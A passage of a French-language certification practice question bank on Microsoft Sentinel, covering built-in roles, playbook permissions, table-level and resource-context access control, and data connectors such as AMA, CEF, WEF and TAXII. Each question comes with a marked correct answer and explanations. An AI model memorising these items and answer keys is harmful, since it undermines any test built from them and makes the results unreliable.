**D.** Logic App Contributor.

**Bonne réponse : B**

#### Correction détaillée

**Microsoft Sentinel Responder** = toutes les autorisations du Reader + gestion des incidents (affectation, changement de statut, gravité, commentaires). C'est le rôle typique des analystes de triage.

#### Analyse des réponses incorrectes

- **A.** Ce rôle permet en plus de créer et modifier des règles, connecteurs, classeurs et solutions : il dépasse le besoin (principe du moindre privilège).
- **C.** Le lecteur peut consulter les incidents mais pas les modifier (statut, affectation).
- **D.** Ce rôle concerne la création et la modification de playbooks (Logic Apps), pas la gestion des incidents.

#### Explication technique

Rôles intégrés Sentinel : Reader (lecture), Responder (lecture + gestion des incidents), Contributor (Responder + création/modification des ressources et installation de solutions), Playbook Operator (lister, consulter et exécuter manuellement des playbooks), Automation Contributor (permet à Sentinel d'ajouter des playbooks aux règles d'automatisation — rôle destiné au compte de service, pas aux utilisateurs). Microsoft recommande d'attribuer ces rôles au niveau du **groupe de ressources** contenant l'espace.

> **Point à retenir pour l'examen :** Gérer des incidents sans créer de règles = Microsoft Sentinel Responder.

#### Référence officielle

- Rôles et autorisations dans la plateforme Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/roles

## Question n° 10 — Exécuter un playbook sans pouvoir le modifier

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Les analystes N2 doivent pouvoir lancer manuellement, depuis un incident, un playbook « Bloquer l'utilisateur dans Entra ID », mais ne doivent pas pouvoir modifier la logique du playbook. Quel rôle est le plus adapté, en complément de Microsoft Sentinel Responder ?

**A.** Contributeur (Contributor) sur l'abonnement.

**B.** Microsoft Sentinel Automation Contributor.

**C.** Logic App Contributor.

**D.** Microsoft Sentinel Playbook Operator.

**Bonne réponse : D**

#### Correction détaillée

**Microsoft Sentinel Playbook Operator** permet de lister, de consulter et d'exécuter manuellement des playbooks, sans droit de modification. Il est attribué sur le groupe de ressources qui contient les playbooks.

#### Analyse des réponses incorrectes

- **A.** Rôle beaucoup trop large, contraire au moindre privilège.
- **B.** Ce rôle est destiné au compte de service Microsoft Sentinel pour l'attacher aux playbooks via les règles d'automatisation, pas aux analystes.

- **C.** Ce rôle permet de modifier les Logic Apps, ce qui est explicitement interdit ici.

**Explication technique**

La création/modification de playbooks nécessite **Logic App Contributor** sur le groupe de ressources des playbooks. Pour que des règles d'automatisation puissent déclencher des playbooks, le compte de service de Sentinel doit disposer de **Microsoft Sentinel Automation Contributor** sur ce groupe de ressources (configuré via « Gérer les autorisations des playbooks » dans les paramètres).

**Point à retenir pour l'examen :** Exécuter sans modifier = Playbook Operator ; modifier = Logic App Contributor ; permettre à Sentinel d'appeler les playbooks = Automation Contributor (compte de service).

**Référence officielle**

- Rôles et autorisations dans la plateforme Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/roles
- Automatiser la réponse aux menaces avec des playbooks dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/automation/automate-responses-with-playbooks

## Question n° 11 — Échec d'exécution de playbook depuis une règle d'automatisation

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une règle d'automatisation doit lancer un playbook à la création de chaque incident. Lors de la configuration, le playbook apparaît grisé et ne peut pas être sélectionné. Quelle action corrige le problème ?

**A.** Accorder à Microsoft Sentinel les autorisations sur le groupe de ressources du playbook (« Gérer les autorisations des playbooks »), ce qui attribue le rôle Microsoft Sentinel Automation Contributor au compte de service Sentinel.

**B.** Déplacer le playbook dans l'abonnement de facturation de Log Analytics.

**C.** Attribuer le rôle Logic App Contributor à l'analyste qui crée la règle.

**D.** Convertir le playbook en déclencheur « When a HTTP request is received ».

**Bonne réponse : A**

**Correction détaillée**

Pour qu'une règle d'automatisation exécute un playbook, **le compte de service de Microsoft Sentinel** doit avoir des autorisations explicites (rôle Microsoft Sentinel Automation Contributor) sur le groupe de ressources contenant le playbook. Sans cela, le playbook est indisponible dans la liste.

**Analyse des réponses incorrectes**

- **B.** Ce n'est pas une question d'abonnement mais d'autorisations du service Sentinel.
- **C.** Les droits de l'utilisateur sur les Logic Apps n'autorisent pas le service Sentinel à déclencher le playbook.
- **D.** Les règles d'automatisation exigent un déclencheur Microsoft Sentinel (incident, alerte ou entité), pas un déclencheur HTTP.

**Explication technique**

Le paramètre se trouve dans Paramètres > Paramètres > Autorisations des playbooks (portail Azure) ou dans les paramètres Sentinel du portail Defender. Il faut sélectionner les groupes de ressources concernés. Le playbook doit aussi utiliser le bon déclencheur (incident pour une règle « Lorsque l'incident est créé/mis à jour »).

**Point à retenir pour l'examen :** Playbook grisé dans une règle d'automatisation → autorisations du compte de service Sentinel (Automation Contributor) sur le groupe de ressources du playbook.

**Référence officielle**

- Automatiser la réponse aux menaces dans Microsoft Sentinel avec des règles d'automatisation — https://learn.microsoft.com/fr-fr/azure/sentinel/automate-incident-handling-with-automation-rules

- Rôles et autorisations dans la plateforme Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/roles

## Question n° 12 — Restreindre l'accès à certaines tables

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** L'équipe RH doit pouvoir interroger uniquement la table OfficeActivity d'un espace Sentinel partagé, sans voir SecurityEvent ni SigninLogs. Quelle approche répond au besoin sans créer de nouvel espace ?

**A.** Attribuer le rôle Microsoft Sentinel Reader sur l'espace.

**B.** Placer la table OfficeActivity en plan Basic.

**C.** Configurer un contrôle d'accès au niveau table (table-level RBAC), via un rôle personnalisé ou l'attribution de droits de lecture limités aux tables autorisées.

**D.** Créer une règle d'automatisation qui masque les autres tables pour ce groupe.

**Bonne réponse : C**

### Correction détaillée

Le **RBAC au niveau table** de Log Analytics permet d'accorder l'accès à des tables précises (ou de l'interdire) au sein d'un même espace. C'est l'option documentée pour séparer des données sensibles sans multiplier les espaces.

### Analyse des réponses incorrectes

- **A.** Ce rôle donne la lecture de toutes les données de l'espace.
- **B.** Le plan de table concerne le coût et les capacités de requête, pas les autorisations.
- **D.** Les règles d'automatisation n'agissent pas sur l'accès aux tables.

### Explication technique

Alternatives : le **RBAC de contexte de ressource** (l'utilisateur voit les journaux des ressources Azure auxquelles il a accès, sans accès à Sentinel) et les espaces dédiés. Dans le portail Defender, le RBAC unifié (URBAC) peut aussi gouverner l'accès aux données Sentinel. Attention : l'utilisateur limité à certaines tables ne doit pas recevoir de rôle Sentinel lui ouvrant toutes les données.

**Point à retenir pour l'examen :** Séparer l'accès à certaines tables dans un espace partagé → RBAC au niveau table (ou contexte de ressource), pas un nouveau rôle Sentinel global.

### Référence officielle

- Rôles et autorisations dans la plateforme Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/roles
- Concevoir une architecture d'espace de travail Log Analytics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/workspace-design

## Question n° 13 — Accès aux journaux d'une équipe applicative sans Sentinel

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une équipe applicative doit voir les journaux de ses propres machines virtuelles stockés dans l'espace Sentinel, sans accès à l'interface Sentinel ni aux autres données. Quelle solution est recommandée ?

**A.** Une règle d'automatisation qui affecte les incidents à l'équipe.

**B.** Le rôle Microsoft Sentinel Responder limité au groupe de ressources de l'application.

**C.** Une copie quotidienne des journaux dans un compte de stockage accessible à l'équipe.

**D.** Le RBAC de contexte de ressource : l'équipe consulte les journaux depuis ses ressources Azure, sur lesquelles elle possède déjà des droits.

**Bonne réponse : D**

**Correction détaillée**

Avec le **RBAC de contexte de ressource**, un utilisateur ayant des droits sur une ressource Azure (VM, App Service...) peut lire les journaux de cette ressource dans l'espace, sans avoir accès à l'espace entier ni à Sentinel.

**Analyse des réponses incorrectes**

- **A.** L'affectation d'incidents n'ouvre pas l'accès aux journaux bruts.
- **B.** Les rôles Sentinel s'appliquent à l'espace et à Sentinel ; ils ne filtrent pas les données par ressource source.
- **C.** Solution lourde, non nécessaire : le RBAC de contexte de ressource répond nativement au besoin.

**Explication technique**

Ce mode fonctionne pour les données associées à un identifiant de ressource Azure (`_ResourceId`). Les sources non Azure (Syslog relayé, CEF) peuvent nécessiter des approches complémentaires (par exemple, transformation pour renseigner l'identifiant de ressource, ou RBAC au niveau table).

**Point à retenir pour l'examen :** Donner à une équipe l'accès à « ses » journaux seulement → RBAC de contexte de ressource.

**Référence officielle**

- Rôles et autorisations dans la plateforme Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/roles
- Concevoir une architecture d'espace de travail Log Analytics — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/workspace-design

## Question n° 14 — Rôles du data lake Microsoft Sentinel

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un chasseur de menaces doit exécuter des requêtes KQL interactives et des notebooks sur le data lake Microsoft Sentinel. Quelle affirmation sur le modèle d'autorisations est exacte ?

**A.** Le data lake utilise des rôles Microsoft Entra ID (RBAC Entra) en plus des rôles Azure de Sentinel, alors que le SIEM Sentinel repose sur le RBAC Azure.

**B.** Le data lake ne nécessite aucun rôle : tout utilisateur du portail Defender peut l'interroger.

**C.** Le data lake n'est accessible qu'au rôle Propriétaire de l'abonnement Azure.

**D.** Le rôle Microsoft Sentinel Responder donne automatiquement le droit de créer des jobs KQL dans le data lake.

**Bonne réponse : A**

**Correction détaillée**

La documentation « Rôles et autorisations dans la plateforme Microsoft Sentinel » précise que Sentinel utilise le **RBAC Azure** pour le SIEM et le **RBAC Microsoft Entra ID** pour le data lake. Par exemple, Reader et Contributor permettent des requêtes interactives sur les espaces ; d'autres opérations (jobs, gestion) exigent des rôles Entra appropriés.

**Analyse des réponses incorrectes**

- **B.** L'accès aux données est toujours soumis à des autorisations.
- **C.** L'accès repose sur des rôles dédiés et non sur la seule propriété de l'abonnement.
- **D.** Responder sert à gérer les incidents ; la documentation ne lui attribue pas de capacités data lake.

**Explication technique**

Le data lake (stockage Parquet, séparation stockage/calcul, rétention jusqu'à 12 ans) est piloté depuis le portail Defender ; ses activités (requêtes, notebooks, jobs) sont auditées et consultables dans l'audit

Microsoft Purview. Vérifiez la matrice détaillée des rôles dans la documentation avant d'accorder des droits.

**Point à retenir pour l'examen :** SIEM Sentinel = RBAC Azure ; data lake Sentinel = RBAC Microsoft Entra ID (en complément).

**Référence officielle**

- Rôles et autorisations dans la plateforme Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/roles
- Qu'est-ce que le lac de données Microsoft Sentinel ? — https://learn.microsoft.com/fr-fr/azure/sentinel/datalake/sentinel-lake-overview

### Question n° 15 — Gestion des incidents dans le portail Defender avec le RBAC unifié

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Votre locataire utilise le RBAC unifié de Microsoft Defender (URBAC). Un analyste doit pouvoir consulter et gérer les incidents (y compris les « cas d'incident ») mais pas modifier les paramètres de sécurité. Quelle autorisation URBAC est la plus appropriée ?

**A.** « Data (manage) » dans le groupe Opérations de données.

**B.** Le rôle Microsoft Entra Global Administrator.

**C.** « Security data » en lecture et gestion (Security Data Read / Security Data Manage) dans le groupe d'autorisations Opérations de sécurité.

**D.** « Security settings » (gestion des paramètres) uniquement.

**Bonne réponse : C**

**Correction détaillée**

Selon la documentation de la gestion des cas, les cas d'incident suivent le même modèle que les incidents : **Security Data Read** permet de les consulter, **Security Data Manage** de les consulter et de les gérer.

**Analyse des réponses incorrectes**

- **A.** Cette autorisation concerne la gestion des tables et de la rétention, pas des incidents.
- **B.** Rôle hautement privilégié à réserver aux urgences ; contraire au moindre privilège.
- **D.** Ces droits concernent la configuration, pas le traitement des incidents.

**Explication technique**

Le RBAC unifié remplace progressivement les modèles d'autorisations propres à chaque produit Defender. Il se combine avec les étendues (groupes d'appareils, sources de données) pour limiter la visibilité. Les paramètres de tables/rétention relèvent de « Data (manage) » ; la configuration des produits relève des autorisations « Security settings ».

**Point à retenir pour l'examen :** URBAC : incidents/cas = Security Data (Read/Manage) ; tables et rétention = Data (manage) ; configuration = Security settings.

**Référence officielle**

- Microsoft Defender contrôle d'accès basé sur les rôles (RBAC) unifié — https://learn.microsoft.com/fr-fr/defender-xdr/manage-rbac
- Gestion de dossiers dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/siem-defender-case-management

## 1.3 Connecteurs de données et ingestion

### Question n° 16 — Choisir le connecteur pour les événements de sécurité Windows

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous devez collecter les événements du journal Sécurité de 300 serveurs Windows (Azure et locaux via Azure Arc) dans Sentinel. Quel connecteur et quel agent sont recommandés ?

**A.** Le connecteur « Security Events via Legacy Agent » avec l'agent Log Analytics (MMA).

**B.** Le connecteur « Windows Security Events via AMA », avec l'agent Azure Monitor (AMA) et une règle de collecte de données (DCR).

**C.** Le connecteur Syslog via AMA.

**D.** Le connecteur Microsoft Defender XDR, qui collecte tout le journal Sécurité Windows.

**Bonne réponse : B**

#### Correction détaillée

Le connecteur **Windows Security Events via AMA** déploie l'agent Azure Monitor et une **DCR** qui définit les événements collectés (Tous, Courants, Minimal ou Personnalisé via XPath). Les événements arrivent dans la table **SecurityEvent**.

#### Analyse des réponses incorrectes

- **A.** L'agent Log Analytics (MMA) a été retiré ; il ne doit plus être utilisé pour de nouveaux déploiements.
- **C.** Syslog concerne les systèmes Linux/appliances, pas le journal Sécurité Windows.
- **D.** Defender XDR transmet sa télémétrie EDR (tables Device*), pas le journal Sécurité Windows complet.

#### Explication technique

Les serveurs hors Azure doivent être connectés via **Azure Arc** pour recevoir AMA et les DCR. Les jeux d'événements prédéfinis : *All events*, *Common* (sélection pour l'audit), *Minimal* (petit volume, détection de base) ; l'option *Custom* utilise des requêtes XPath. Pour des journaux autres que Sécurité (System, Application, PowerShell/Operational), on utilise le connecteur Windows Forwarded Events ou une DCR « Windows Event Logs » (table Event ou WindowsEvent selon la configuration).

**Point à retenir pour l'examen :** Journal Sécurité Windows → « Windows Security Events via AMA » + DCR → table SecurityEvent. Serveurs locaux = Azure Arc.

#### Référence officielle

- Se connecter Microsoft Sentinel à d'autres services Microsoft avec un connecteur de données basé sur un agent Windows — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-services-windows-based
- Règles de collecte de données (DCR) dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/data-collection/data-collection-rule-overview

## Question n° 17 — Filtrer les événements Windows à la source

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Le coût d'ingestion de SecurityEvent est trop élevé. Le SOC souhaite collecter uniquement les événements 4624, 4625, 4688 et 4720 sur certains serveurs. Quelle méthode utiliser avec AMA ?

**A.** Désactiver l'audit avancé Windows sur les serveurs.

**B.** Passer la table SecurityEvent en plan Auxiliary.

**C.** Ajouter un filtre `where EventID in (...)` dans chaque règle d'analyse.

**D.** Créer une règle de collecte de données (DCR) avec un jeu d'événements personnalisé défini par des requêtes XPath sur ces EventID, associée aux serveurs concernés.

**Bonne réponse : D**

### Correction détaillée

Avec AMA, la **DCR** porte la sélection des événements. L'option *Custom* accepte des requêtes **XPath**, par exemple `Security!*[System[(EventID=4624 or EventID=4625 or EventID=4688 or EventID=4720)]]`. Seuls ces événements sont alors envoyés.

### Analyse des réponses incorrectes

- **A.** Cela supprimerait des événements essentiels à la détection ; le filtrage doit être ciblé.
- **B.** Le niveau de table change le coût de stockage/requête mais ne filtre pas les événements collectés, et limite l'usage en détection.
- **C.** Le filtrage au moment de la requête ne réduit pas l'ingestion : les données sont déjà facturées.

### Explication technique

Une **transformation au moment de l'ingestion** (transformKql dans la DCR) peut aussi filtrer des lignes ou supprimer des colonnes (par exemple masquer un champ sensible) avant stockage. Le filtrage XPath intervient sur l'agent, la transformation dans le pipeline d'ingestion. Les deux réduisent les volumes facturés.

### Exemple pratique

JOURNAL / SORTIE

```
Security!*[System[(EventID=4624 or EventID=4625 or EventID=4688 or EventID=4720)]]
```

**Point à retenir pour l'examen :** Réduire l'ingestion Windows avec AMA → DCR avec XPath personnalisé (ou transformation d'ingestion), jamais un simple filtre dans les requêtes.

### Référence officielle

- Se connecter Microsoft Sentinel à d'autres services Microsoft avec un connecteur de données basé sur un agent Windows — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-services-windows-based
- Règles de collecte de données (DCR) dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/data-collection/data-collection-rule-overview

## Question n° 18 — Windows Event Forwarding (WEF)

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une organisation utilise déjà Windows Event Forwarding : 2 000 postes envoient leurs événements à deux serveurs collecteurs WEC. Elle souhaite ingérer ces événements dans Sentinel sans déployer d'agent sur chaque poste. Quelle solution est appropriée ?

**A.** Installer l'agent Azure Monitor sur les serveurs collecteurs WEC et utiliser le connecteur « Windows Forwarded Events » (événements du journal ForwardedEvents).

**B.** Configurer le connecteur Syslog via AMA sur les collecteurs WEC.

**C.** Utiliser le connecteur Common Event Format.

**D.** Installer l'agent Log Analytics (MMA) sur chaque poste.

**Bonne réponse : A**

### Correction détaillée

Le connecteur **Windows Forwarded Events** collecte, via **AMA installé sur les collecteurs WEC**, les événements du journal *ForwardedEvents*. Les données arrivent dans la table **WindowsEvent**.

### Analyse des réponses incorrectes

- **B.** WEF utilise le protocole Windows (WinRM) et le journal ForwardedEvents, pas Syslog.
- **C.** CEF concerne les appliances qui émettent du Syslog formaté CEF.
- **D.** Contraire à l'exigence (pas d'agent par poste) et l'agent MMA est retiré.

**Explication technique**

WEF réduit le nombre d'agents à gérer, centralise le filtrage par les abonnements WEF (sélection des événements côté source) et convient aux environnements très étendus. Il faut dimensionner les collecteurs (volume, nombre d'abonnements) et surveiller la latence. Les événements de sécurité collectés directement via « Windows Security Events via AMA » vont dans SecurityEvent ; les événements transférés via WEF vont dans WindowsEvent.

**Point à retenir pour l'examen :** WEF → AMA sur les collecteurs WEC + connecteur « Windows Forwarded Events » → table WindowsEvent.

**Référence officielle**

- Rechercher votre connecteur de données Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/data-connectors-reference
- Se connecter Microsoft Sentinel à d'autres services Microsoft avec un connecteur de données basé sur un agent Windows — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-services-windows-based

## Question n° 19 — Collecte CEF depuis un pare-feu

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un pare-feu Palo Alto envoie ses journaux au format CEF sur Syslog. Quelle architecture recommandée permet de les ingérer dans Sentinel ?

**A.** Utiliser le connecteur Windows Security Events via AMA.

**B.** Envoyer les journaux par e-mail vers une boîte surveillée par un playbook.

**C.** Un redirecteur de journaux Linux avec l'agent Azure Monitor et une DCR « CEF via AMA », vers lequel le pare-feu envoie ses messages Syslog/CEF ; les données arrivent dans CommonSecurityLog.

**D.** Installer l'agent Azure Monitor directement sur le pare-feu.

**Bonne réponse : C**

**Correction détaillée**

Le schéma de référence **CEF via AMA** : l'appliance envoie du Syslog (CEF) vers un **redirecteur Linux** (VM ou serveur, connecté à Azure Arc s'il est hors Azure) sur lequel tourne **AMA** ; une **DCR** sélectionne les facilités/niveaux et le format CEF. Les événements sont analysés et stockés dans **CommonSecurityLog**.

**Analyse des réponses incorrectes**

- **A.** Ce connecteur concerne le journal Sécurité Windows.
- **B.** Architecture non prévue, non fiable et non scalable.
- **D.** On ne peut généralement pas installer d'agent sur une appliance ; on passe par un redirecteur Linux.

**Explication technique**

Le démon rsyslog ou syslog-ng du redirecteur reçoit les messages (UDP/TCP 514) et les transmet à AMA. Pour éviter les doublons, une même facilité ne doit pas être collectée à la fois en Syslog et en CEF. Les messages Syslog non CEF vont dans la table **Syslog**. Les champs CEF sont mappés (DeviceVendor, DeviceProduct, SourceIP, DestinationIP, Activity…).

**Point à retenir pour l'examen :** Appliance CEF → redirecteur Linux + AMA + DCR « CEF via AMA » → CommonSecurityLog ; Syslog classique → table Syslog.

**Référence officielle**

- Ingérer des messages syslog et CEF pour Microsoft Sentinel avec l'agent Azure Monitor — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-cef-syslog-ama

## Question n° 20 — Doublons entre Syslog et CommonSecurityLog

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Après la mise en place d'un redirecteur Linux avec AMA, les mêmes événements de pare-feu apparaissent à la fois dans Syslog et dans CommonSecurityLog, doublant les coûts. Quelle est la cause la plus probable ?

**A.** Le connecteur Microsoft Defender XDR réplique les journaux de pare-feu.

**B.** Deux DCR (Syslog via AMA et CEF via AMA) collectent la même facilité Syslog sur le même redirecteur.

**C.** La table CommonSecurityLog est en plan Basic.

**D.** Le pare-feu envoie chaque message deux fois en UDP.

**Bonne réponse : B**

### Correction détaillée

Les DCR **Syslog** et **CEF** s'appuient sur les facilités/niveaux de gravité Syslog. Si les deux DCR sont associées au même redirecteur et ciblent la même facilité (par exemple *local4*), chaque message est envoyé dans les deux tables. Il faut séparer les facilités : appliances CEF sur une facilité dédiée collectée uniquement par la DCR CEF.

### Analyse des réponses incorrectes

- **A.** Defender XDR ne collecte pas les journaux de pare-feu tiers.
- **C.** Le plan de table n'entraîne pas de copie vers Syslog.
- **D.** Une émission en double produirait des doublons dans une seule table, pas une répartition entre deux tables.

### Explication technique

Bonnes pratiques : documenter le plan de facilités par appliance, utiliser des transformations d'ingestion pour éliminer les messages inutiles, surveiller la table **Usage** pour détecter les variations de volume et utiliser les recommandations d'optimisation SOC.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```kql
Usage
| where TimeGenerated > ago(7d)
| where DataType in ("Syslog", "CommonSecurityLog")
| summarize VolumeGo = sum(Quantity) / 1024 by DataType, bin(TimeGenerated, 1d)
```

**Point à retenir pour l'examen :** Même facilité dans les DCR Syslog et CEF = doublons ; attribuez une facilité distincte aux flux CEF.

### Référence officielle

- Ingérer des messages syslog et CEF pour Microsoft Sentinel avec l'agent Azure Monitor — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-cef-syslog-ama
- Règles de collecte de données (DCR) dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/data-collection/data-collection-rule-overview

## Question n° 21 — Collecter le journal d'activité Azure

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous devez collecter dans Sentinel le journal d'activité Azure (opérations du plan de contrôle) de 40 abonnements, y compris des abonnements créés à l'avenir. Quelle méthode est recommandée ?

**A.** Exporter chaque jour le journal en CSV depuis le portail et l'importer dans une table personnalisée.

**B.** Utiliser le connecteur Syslog via AMA.

**C.** Installer l'agent Azure Monitor sur toutes les machines virtuelles.

**D.** Configurer des paramètres de diagnostic du journal d'activité vers l'espace Sentinel, déployés à grande échelle par une affectation Azure Policy.

**Bonne réponse : D**

**Correction détaillée**

Le journal d'activité est envoyé vers Log Analytics par des **paramètres de diagnostic** au niveau abonnement. Le connecteur **Azure Activity** de Sentinel s'appuie sur une **affectation Azure Policy** pour appliquer automatiquement ce paramètre à tous les abonnements (actuels et futurs) dans l'étendue choisie. Les données arrivent dans **AzureActivity**.

**Analyse des réponses incorrectes**

- **A.** Procédure manuelle, non temps réel et non scalable.
- **B.** Le journal d'activité Azure n'est pas émis en Syslog.
- **C.** Le journal d'activité est un journal de plateforme Azure, collecté sans agent.

**Explication technique**

Les journaux de ressources (Key Vault, Storage, SQL...) suivent la même logique : paramètres de diagnostic, souvent appliqués par Azure Policy (initiatives « Enable allLogs category group... »). Une tâche de correction (remediation task) applique la stratégie aux ressources existantes.

**Point à retenir pour l'examen :** Journal d'activité / journaux de ressources Azure = paramètres de diagnostic, déployés à l'échelle avec Azure Policy (+ tâche de correction pour l'existant).

**Référence officielle**

- Journal d'activité dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/fundamentals/activity-log
- Paramètres de diagnostic dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/data-collection/diagnostic-settings

## Question n° 22 — Ingestion d'indicateurs de menace via TAXII

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un ISAC sectoriel publie des indicateurs STIX 2.1 sur un serveur TAXII 2.1. Vous voulez importer automatiquement ces indicateurs dans Sentinel. Quel connecteur utiliser ?

**A.** Une règle d'analyse NRT qui interroge directement l'URL TAXII.

**B.** Le connecteur Microsoft Defender Threat Intelligence.

**C.** Le connecteur « Threat Intelligence – TAXII », configuré avec l'URL de la racine d'API, l'identifiant de collection et les informations d'authentification.

**D.** Le connecteur Common Event Format.

**Bonne réponse : C**

**Correction détaillée**

Le connecteur **Threat Intelligence – TAXII** interroge périodiquement un serveur TAXII 2.0/2.1 et importe les objets STIX (indicateurs et, avec le nouveau modèle, d'autres objets STIX) dans Sentinel.

**Analyse des réponses incorrectes**

- **A.** Les règles d'analyse interrogent les données de l'espace ; elles n'appellent pas d'API externes.
- **B.** Ce connecteur importe les indicateurs de Microsoft, pas ceux d'un serveur TAXII tiers.
- **D.** CEF transporte des journaux d'appliances, pas des flux d'indicateurs STIX/TAXII.

**Explication technique**

Autres voies d'ingestion : le connecteur **Microsoft Defender Threat Intelligence** (indicateurs Microsoft), l'**API d'upload Threat Intelligence** (plateformes TIP qui poussent des objets STIX), l'ajout manuel ou en masse (fichier CSV/JSON) dans la page Renseignement sur les menaces. Les indicateurs sont stockés dans **ThreatIntelIndicators** (et les autres objets STIX dans ThreatIntelObjects) ; l'ancienne table ThreatIntelligenceIndicator est remplacée par ce nouveau modèle.

**Point à retenir pour l'examen :** Serveur TAXII → connecteur « Threat Intelligence – TAXII » ; plateforme TIP qui pousse → API d'upload ; indicateurs Microsoft → connecteur MDTI.

**Référence officielle**

- Utiliser STIX/TAXII pour importer et exporter le renseignement sur les menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/connect-threat-intelligence-taxii
- Renseignement sur les menaces dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/understand-threat-intelligence

## Question n° 23 — Table personnalisée pour une application métier

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une application métier développée en interne doit envoyer ses journaux d'authentification au format JSON dans Sentinel, dans une table dédiée avec un schéma maîtrisé. Quelle approche moderne est recommandée ?

**A.** Créer une table personnalisée (suffixe _CL) et utiliser l'API d'ingestion des journaux (Logs Ingestion API) avec un point de terminaison de collecte et une règle de collecte de données qui peut transformer les données.

**B.** Envoyer les journaux dans Microsoft Defender for Endpoint via des indicateurs personnalisés.

**C.** Utiliser l'API HTTP Data Collector.

**D.** Écrire directement dans la table SecurityEvent.

**Bonne réponse : A**

**Correction détaillée**

La **Logs Ingestion API** permet d'envoyer des données via REST vers une **table personnalisée _CL** (ou certaines tables standard prises en charge). La **DCR** définit le flux d'entrée, la transformation KQL (`transformKql`) et la table de destination. L'application s'authentifie avec une identité Microsoft Entra (inscription d'application ou identité managée) disposant du rôle Monitoring Metrics Publisher sur la DCR.

**Analyse des réponses incorrectes**

- **B.** Les indicateurs MDE servent à autoriser/bloquer des fichiers, IP, URL ou certificats, pas à ingérer des journaux.
- **C.** Cette API historique est en voie de retrait ; Microsoft recommande la Logs Ingestion API basée sur les DCR.
- **D.** Les tables standard ont un schéma réservé ; on ne peut pas y injecter des journaux applicatifs arbitraires.

**Explication technique**

Les tables personnalisées peuvent être placées dans le niveau Analytics (détection, règles) ou dans un niveau moins coûteux (données secondaires). Le Codeless Connector Platform (CCP) permet aussi de créer des connecteurs SaaS sans code. Pensez à normaliser les données vers ASIM pour réutiliser les détections existantes.

**Point à retenir pour l'examen :** Journaux applicatifs personnalisés → table _CL + Logs Ingestion API + DCR (transformation possible) ; l'API HTTP Data Collector est historique.

**Référence officielle**

- API Ingestion des journaux dans Azure Monitor — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/logs-ingestion-api-overview
- Ajouter ou supprimer des tables et des colonnes dans Azure Monitor Logs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/logs/create-custom-table
- Ingestion et transformation de données personnalisées dans Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/data-transformation

### Question n° 24 — Connecteur Microsoft Defender XDR

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
